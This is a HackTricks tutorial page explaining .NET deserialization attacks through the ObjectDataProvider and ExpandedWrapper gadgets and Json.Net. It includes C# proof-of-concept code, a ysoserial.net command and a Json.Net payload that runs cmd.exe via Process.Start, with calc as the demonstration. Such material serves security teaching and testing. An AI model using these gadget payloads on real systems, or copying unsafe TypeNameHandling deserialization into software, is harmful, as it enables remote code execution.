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217 lines
11 KiB
Markdown
217 lines
11 KiB
Markdown
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
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## ObjectDataProvider Gadget
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From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
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Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
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Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
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### **How is this possible**
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The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
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Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
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.png>)
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As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
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.png>)
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Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
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.png>)
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Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
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.png>)
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Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
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If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code:
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```java
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using System.Windows.Data;
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using System.Diagnostics;
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namespace ODPCustomSerialExample
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{
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class Program
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{
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static void Main(string[] args)
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{
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ObjectDataProvider myODP = new ObjectDataProvider();
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myODP.ObjectType = typeof(Process);
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myODP.MethodParameters.Add("cmd.exe");
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myODP.MethodParameters.Add("/c calc.exe");
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myODP.MethodName = "Start";
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}
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}
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}
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```
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Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
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## ExpandedWrapper
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Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
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This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
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This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
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You can check this wrapper with the following code:
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```java
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using System.Windows.Data;
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using System.Diagnostics;
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using System.Data.Services.Internal;
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namespace ODPCustomSerialExample
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{
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class Program
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{
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static void Main(string[] args)
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{
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ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
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myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
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myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
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myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
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myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
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myExpWrap.ProjectedProperty0.MethodName = "Start";
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}
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}
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}
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```
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## Json.Net
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In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
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### Json.Net example
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First of all lets see an example on how to **serialize/deserialize** an object using this library:
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```java
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using System;
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using Newtonsoft.Json;
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using System.Diagnostics;
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using System.Collections.Generic;
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namespace DeserializationTests
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{
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public class Account
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{
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public string Email { get; set; }
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public bool Active { get; set; }
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public DateTime CreatedDate { get; set; }
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public IList<string> Roles { get; set; }
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}
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class Program
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{
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static void Main(string[] args)
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{
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Account account = new Account
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{
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Email = "james@example.com",
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Active = true,
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CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
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Roles = new List<string>
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{
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"User",
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"Admin"
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}
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};
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//Serialize the object and print it
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string json = JsonConvert.SerializeObject(account);
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Console.WriteLine(json);
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//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
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//Deserialize it
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Account desaccount = JsonConvert.DeserializeObject<Account>(json);
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Console.WriteLine(desaccount.Email);
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}
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}
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}
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```
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### Abusing Json.Net
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Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
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```java
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ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
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{
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'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
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'MethodName':'Start',
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'MethodParameters':{
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'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
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'$values':['cmd', '/c calc.exe']
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},
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'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
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}
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```
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In this code you can **test the exploit**, just run it and you will see that a calc is executed:
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```java
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using System;
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using System.Text;
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using Newtonsoft.Json;
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namespace DeserializationTests
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{
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class Program
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{
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static void Main(string[] args)
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{
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//Declare exploit
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string userdata = @"{
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'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
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'MethodName':'Start',
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'MethodParameters':{
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'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
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'$values':['cmd', '/c calc.exe']
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},
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'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
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}";
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//Exploit to base64
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string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
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//Get data from base64
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byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
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//Deserialize data
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string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
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object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
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{
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TypeNameHandling = TypeNameHandling.Auto
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});
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}
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}
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}
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```
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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